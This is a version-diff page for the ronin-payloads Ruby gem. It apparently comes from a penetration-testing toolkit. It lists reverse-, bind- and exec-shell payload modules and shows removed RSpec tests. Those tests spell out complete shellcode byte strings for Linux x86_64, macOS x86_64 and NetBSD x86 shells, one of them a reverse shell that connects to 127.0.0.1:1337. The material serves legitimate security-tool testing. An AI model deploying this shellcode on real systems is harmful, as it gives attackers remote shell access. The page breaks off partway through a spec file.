ronin-payloads 0.1.0.beta1 → 0.1.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.github/workflows/ruby.yml +1 -0
- data/.yardopts +1 -1
- data/README.md +4 -3
- data/bin/ronin-payloads +1 -1
- data/gemspec.yml +8 -7
- data/lib/ronin/payloads/asm_payload.rb +1 -1
- data/lib/ronin/payloads/binary_payload.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/awk/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/bash/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/lua/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/openssl/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/perl/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/php/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/powershell/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/python/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/ruby/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/java/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/php/cmd_exec.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb +1 -1
- data/lib/ronin/payloads/builtin/test/open_redirect.rb +1 -1
- data/lib/ronin/payloads/builtin/test/xss.rb +1 -1
- data/lib/ronin/payloads/c_payload.rb +1 -1
- data/lib/ronin/payloads/cli/command.rb +1 -1
- data/lib/ronin/payloads/cli/commands/build.rb +1 -1
- data/lib/ronin/payloads/cli/commands/encode.rb +1 -1
- data/lib/ronin/payloads/cli/commands/encoder.rb +1 -1
- data/lib/ronin/payloads/cli/commands/encoders.rb +2 -2
- data/lib/ronin/payloads/cli/commands/irb.rb +1 -1
- data/lib/ronin/payloads/cli/commands/launch.rb +1 -1
- data/lib/ronin/payloads/cli/commands/list.rb +1 -1
- data/lib/ronin/payloads/cli/commands/new.rb +3 -3
- data/lib/ronin/payloads/cli/commands/show.rb +2 -2
- data/lib/ronin/payloads/cli/encoder_methods.rb +1 -1
- data/lib/ronin/payloads/cli/format_option.rb +1 -1
- data/lib/ronin/payloads/cli/generator/payload_types.rb +3 -3
- data/lib/ronin/payloads/cli/payload_command.rb +1 -1
- data/lib/ronin/payloads/cli/payload_methods.rb +1 -1
- data/lib/ronin/payloads/cli/printing.rb +1 -1
- data/lib/ronin/payloads/cli/ruby_shell.rb +1 -1
- data/lib/ronin/payloads/cli.rb +6 -1
- data/lib/ronin/payloads/coldfusion_payload.rb +1 -1
- data/lib/ronin/payloads/command_payload.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/html/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/js/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/powershell/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/shell/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/sql/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/xml/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/exceptions.rb +1 -1
- data/lib/ronin/payloads/encoders/html_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/javascript_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/pipeline.rb +2 -2
- data/lib/ronin/payloads/encoders/powershell_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/registry.rb +1 -1
- data/lib/ronin/payloads/encoders/shell_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/sql_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/xml_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders.rb +1 -1
- data/lib/ronin/payloads/exceptions.rb +1 -1
- data/lib/ronin/payloads/go_payload.rb +1 -1
- data/lib/ronin/payloads/html_payload.rb +1 -1
- data/lib/ronin/payloads/java_payload.rb +1 -1
- data/lib/ronin/payloads/javascript_payload.rb +1 -1
- data/lib/ronin/payloads/jsp_payload.rb +1 -1
- data/lib/ronin/payloads/metadata/arch.rb +1 -1
- data/lib/ronin/payloads/metadata/os.rb +1 -1
- data/lib/ronin/payloads/mixins/binary.rb +1 -1
- data/lib/ronin/payloads/mixins/bind_shell.rb +1 -1
- data/lib/ronin/payloads/mixins/build_dir.rb +1 -1
- data/lib/ronin/payloads/mixins/erb.rb +1 -1
- data/lib/ronin/payloads/mixins/network.rb +1 -1
- data/lib/ronin/payloads/mixins/post_ex.rb +1 -1
- data/lib/ronin/payloads/mixins/resolve_host.rb +1 -1
- data/lib/ronin/payloads/mixins/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/mixins/tempfile.rb +1 -1
- data/lib/ronin/payloads/mixins/typescript.rb +1 -1
- data/lib/ronin/payloads/node_js_payload.rb +1 -1
- data/lib/ronin/payloads/payload.rb +1 -1
- data/lib/ronin/payloads/php_payload.rb +1 -1
- data/lib/ronin/payloads/powershell_payload.rb +1 -1
- data/lib/ronin/payloads/python_payload.rb +1 -1
- data/lib/ronin/payloads/registry.rb +1 -1
- data/lib/ronin/payloads/root.rb +1 -1
- data/lib/ronin/payloads/ruby_payload.rb +1 -1
- data/lib/ronin/payloads/rust_payload.rb +1 -1
- data/lib/ronin/payloads/shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/bind_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/exec_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/reverse_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode_payload.rb +1 -1
- data/lib/ronin/payloads/sql_payload.rb +1 -1
- data/lib/ronin/payloads/url_payload.rb +2 -2
- data/lib/ronin/payloads/version.rb +2 -2
- data/lib/ronin/payloads/xml_payload.rb +1 -1
- data/lib/ronin/payloads.rb +1 -1
- data/ronin-payloads.gemspec +2 -1
- metadata +16 -215
- data/spec/asm_payload_spec.rb +0 -114
- data/spec/binary_payload_spec.rb +0 -8
- data/spec/builtin/cmd/awk/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/bash/reverse_shell_spec.rb +0 -36
- data/spec/builtin/cmd/lua/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/node/reverse_shell_spec.rb +0 -36
- data/spec/builtin/cmd/openssl/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/perl/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/php/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/powershell/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/python/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/ruby/reverse_shell_spec.rb +0 -38
- data/spec/builtin/java/reverse_shell_spec.rb +0 -103
- data/spec/builtin/php/cmd_exec.rb +0 -52
- data/spec/builtin/shellcode/freebsd/x86/bind_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/freebsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/freebsd/x86/reverse_shell_spec.rb +0 -63
- data/spec/builtin/shellcode/freebsd/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/arm/bind_shell_spec.rb +0 -62
- data/spec/builtin/shellcode/linux/arm/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/arm/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/mips/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/mips/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/mips/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/ppc/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/ppc/reverse_shell_spec.rb +0 -87
- data/spec/builtin/shellcode/linux/x86/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/x86/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/x86_64/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/x86_64/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/macos/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/macos/x86_64/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/netbsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/netbsd/x86/reverse_shell_spec.rb +0 -63
- data/spec/builtin/shellcode/openbsd/x86/bind_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/openbsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/windows/x86_64/cmd_spec.rb +0 -54
- data/spec/builtin/test/open_redirect_spec.rb +0 -24
- data/spec/builtin/test/xss_spec.rb +0 -24
- data/spec/c_payload_spec.rb +0 -139
- data/spec/cli/commands/show_spec.rb +0 -21
- data/spec/cli/encoder_methods_spec.rb +0 -275
- data/spec/cli/format_option_spec.rb +0 -187
- data/spec/cli/payload_command_spec.rb +0 -68
- data/spec/cli/payload_methods_spec.rb +0 -208
- data/spec/cli/printing_spec.rb +0 -65
- data/spec/cli/ruby_shell_spec.rb +0 -14
- data/spec/coldfusion_payload_spec.rb +0 -8
- data/spec/command_payload_spec.rb +0 -8
- data/spec/encoders/builtin/html/encode_spec.rb +0 -17
- data/spec/encoders/builtin/js/encode_spec.rb +0 -17
- data/spec/encoders/builtin/powershell/encode_spec.rb +0 -17
- data/spec/encoders/builtin/shell/encode_spec.rb +0 -17
- data/spec/encoders/builtin/sql/encode_spec.rb +0 -17
- data/spec/encoders/builtin/xml/encode_spec.rb +0 -17
- data/spec/encoders/encoder_spec.rb +0 -62
- data/spec/encoders/html_encoder_spec.rb +0 -8
- data/spec/encoders/javascript_encoder_spec.rb +0 -8
- data/spec/encoders/pipeline_spec.rb +0 -153
- data/spec/encoders/powershell_encoder_spec.rb +0 -8
- data/spec/encoders/shell_encoder_spec.rb +0 -8
- data/spec/encoders/sql_encoder_spec.rb +0 -8
- data/spec/encoders/xml_encoder_spec.rb +0 -8
- data/spec/encoders_spec.rb +0 -25
- data/spec/go_payload_spec.rb +0 -56
- data/spec/helpers/encoders.rb +0 -9
- data/spec/helpers/payloads.rb +0 -9
- data/spec/helpers/scripts/payloads/simple.rb +0 -22
- data/spec/html_payload_spec.rb +0 -12
- data/spec/java_payload_spec.rb +0 -97
- data/spec/javascript_payload_spec.rb +0 -12
- data/spec/jsp_payload_spec.rb +0 -8
- data/spec/metadata/arch_spec.rb +0 -82
- data/spec/metadata/os_spec.rb +0 -164
- data/spec/mixins/binary_spec.rb +0 -129
- data/spec/mixins/bind_shell_spec.rb +0 -73
- data/spec/mixins/build_dir.rb +0 -64
- data/spec/mixins/erb_spec.rb +0 -19
- data/spec/mixins/network_spec.rb +0 -75
- data/spec/mixins/post_ex_spec.rb +0 -40
- data/spec/mixins/resolve_host_spec.rb +0 -322
- data/spec/mixins/reverse_shell_spec.rb +0 -103
- data/spec/mixins/tempfile_spec.rb +0 -97
- data/spec/mixins/typescript_spec.rb +0 -92
- data/spec/node_js_payload_spec.rb +0 -8
- data/spec/payload_spec.rb +0 -288
- data/spec/payloads_spec.rb +0 -29
- data/spec/php_payload_spec.rb +0 -8
- data/spec/powershell_payload_spec.rb +0 -16
- data/spec/python_payload_spec.rb +0 -8
- data/spec/ruby_payload_spec.rb +0 -8
- data/spec/rust_payload_spec.rb +0 -116
- data/spec/shell_payload_spec.rb +0 -16
- data/spec/shellcode/bind_shell_payload_spec.rb +0 -42
- data/spec/shellcode/exec_shell_payload_spec.rb +0 -8
- data/spec/shellcode/reverse_shell_payload_spec.rb +0 -136
- data/spec/shellcode_payload_spec.rb +0 -38
- data/spec/spec_helper.rb +0 -7
- data/spec/sql_payload_spec.rb +0 -12
- data/spec/url_payload_spec.rb +0 -72
- data/spec/xml_payload_spec.rb +0 -12
@@ -1,60 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::X86_64::BindShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::BindShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::BindShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/x86_64/bind_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/x86_64/bind_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86_64" do
|
21
|
-
expect(subject.arch).to be(:x86_64)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { 'example.com' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
let(:packed_port) { "\x05\x39".b }
|
49
|
-
|
50
|
-
it "must set #payload" do
|
51
|
-
expect(subject.payload).to eq(
|
52
|
-
"\x31\xc0\x31\xdb\x31\xd2\xb0\x01\x89\xc6\xfe\xc0\x89\xc7\xb2\x06\xb0\x29\x0f\x05\x93\x48\x31\xc0\x50\x68\x02\x01#{packed_port}\x88\x44\x24\x01\x48\x89\xe6\xb2\x10\x89\xdf\xb0\x31\x0f\x05\xb0\x05\x89\xc6\x89\xdf\xb0\x32\x0f\x05\x31\xd2\x31\xf6\x89\xdf\xb0\x2b\x0f\x05\x89\xc7\x48\x31\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05".b
|
53
|
-
)
|
54
|
-
end
|
55
|
-
|
56
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
57
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
58
|
-
end
|
59
|
-
end
|
60
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::X86_64::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/x86_64/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/x86_64/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86_64" do
|
21
|
-
expect(subject.arch).to be(:x86_64)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|
@@ -1,58 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::Linux::X86_64::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/linux/x86_64/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/linux/x86_64/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86_64" do
|
21
|
-
expect(subject.arch).to be(:x86_64)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :linux" do
|
29
|
-
expect(subject.os).to be(:linux)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { '127.0.0.1' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
it "must set #payload" do
|
49
|
-
expect(subject.payload).to eq(
|
50
|
-
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x05\x39\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05".b
|
51
|
-
)
|
52
|
-
end
|
53
|
-
|
54
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
55
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
56
|
-
end
|
57
|
-
end
|
58
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::MacOS::X86_64::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/macos/x86_64/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/macos/x86_64/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86_64" do
|
21
|
-
expect(subject.arch).to be(:x86_64)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :macos" do
|
29
|
-
expect(subject.os).to be(:macos)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\x48\x31\xd2\x48\xc7\xc0\xf6\xff\xff\x01\x48\x83\xc0\x45\x5f\x52\x57\x48\x89\xe6\x0f\x05\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|
@@ -1,58 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::MacOS::X86_64::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/macos/x86_64/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/macos/x86_64/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86_64" do
|
21
|
-
expect(subject.arch).to be(:x86_64)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :macos" do
|
29
|
-
expect(subject.os).to be(:macos)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
let(:host) { '127.0.0.1' }
|
34
|
-
let(:port) { 1337 }
|
35
|
-
|
36
|
-
subject do
|
37
|
-
described_class.new(
|
38
|
-
params: {
|
39
|
-
host: host,
|
40
|
-
port: port
|
41
|
-
}
|
42
|
-
)
|
43
|
-
end
|
44
|
-
|
45
|
-
describe "#build" do
|
46
|
-
before { subject.build }
|
47
|
-
|
48
|
-
it "must set #payload" do
|
49
|
-
expect(subject.payload).to eq(
|
50
|
-
"\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x61\x4c\x89\xc0\x48\x31\xd2\x48\x89\xd6\x48\xff\xc6\x48\x89\xf7\x48\xff\xc7\x0f\x05\x49\x89\xc4\x49\xbd\x01\x01\x05\x39\x7f\x00\x00\x01\x41\xb1\xff\x4d\x29\xcd\x41\x55\x49\x89\xe5\x49\xff\xc0\x4c\x89\xc0\x4c\x89\xe7\x4c\x89\xee\x48\x83\xc2\x10\x0f\x05\x49\x83\xe8\x08\x48\x31\xf6\x4c\x89\xc0\x4c\x89\xe7\x0f\x05\x48\x83\xfe\x02\x48\xff\xc6\x76\xef\x49\x83\xe8\x1f\x4c\x89\xc0\x48\x31\xd2\x49\xbd\xff\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xed\x08\x41\x55\x48\x89\xe7\x48\x31\xf6\x0f\x05".b
|
51
|
-
)
|
52
|
-
end
|
53
|
-
|
54
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
55
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
56
|
-
end
|
57
|
-
end
|
58
|
-
end
|
@@ -1,46 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::Shellcode::NetBSD::X86::ExecShell do
|
5
|
-
it "must inherit from Ronin::Payloads::Shellcode::ExecShellPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ExecShellPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'shellcode/netbsd/x86/exec_shell'" do
|
13
|
-
expect(subject.id).to eq('shellcode/netbsd/x86/exec_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".arch" do
|
18
|
-
subject { described_class }
|
19
|
-
|
20
|
-
it "must equal :x86" do
|
21
|
-
expect(subject.arch).to be(:x86)
|
22
|
-
end
|
23
|
-
end
|
24
|
-
|
25
|
-
describe ".os" do
|
26
|
-
subject { described_class }
|
27
|
-
|
28
|
-
it "must equal :netbsd" do
|
29
|
-
expect(subject.os).to be(:netbsd)
|
30
|
-
end
|
31
|
-
end
|
32
|
-
|
33
|
-
describe "#build" do
|
34
|
-
before { subject.build }
|
35
|
-
|
36
|
-
it "must set #payload" do
|
37
|
-
expect(subject.payload).to eq(
|
38
|
-
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04".b
|
39
|
-
)
|
40
|
-
end
|
41
|
-
|
42
|
-
it "must ensure #payload is an ASCII 8bit string" do
|
43
|
-
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
|
44
|
-
end
|
45
|
-
end
|
46
|
-
end
|
@@ -1,63 +0,0 @@
|
|
1
|
-
# encoding: US-ASCII
|
2
|
-
|
3
|
-
require 'spec_helper'
|
4
|
-
require 'ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell'
|
5
|
-
|
6
|
-
describe Ronin::Payloads::Shellcode::NetBSD::X86::ReverseShell do
|
7
|
-
it "must inherit from Ronin::Payloads::Shellcode::ReverseShellPayload" do
|
8
|
-
expect(described_class).to be < Ronin::Payloads::Shellcode::ReverseShellPayload
|
9
|
-
end
|
10
|
-
|
11
|
-
describe ".id" do
|
12
|
-
subject { described_class }
|
13
|
-
|
14
|
-
it "must equal 'shellcode/netbsd/x86/reverse_shell'" do
|
15
|
-
expect(subject.id).to eq('shellcode/netbsd/x86/reverse_shell')
|
16
|
-
end
|
17
|
-
end
|
18
|
-
|
19
|
-
describe ".arch" do
|
20
|
-
subject { described_class }
|
21
|
-
|
22
|
-
it "must equal :x86" do
|
23
|
-
expect(subject.arch).to be(:x86)
|
24
|
-
end
|
25
|
-
end
|
26
|
-
|
27
|
-
describe ".os" do
|
28
|
-
subject { described_class }
|
29
|
-
|
30
|
-
it "must equal :netbsd" do
|
